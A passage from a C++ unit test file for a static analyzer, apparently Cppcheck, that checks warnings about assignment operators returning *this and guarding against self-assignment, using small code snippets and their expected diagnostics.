\"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" 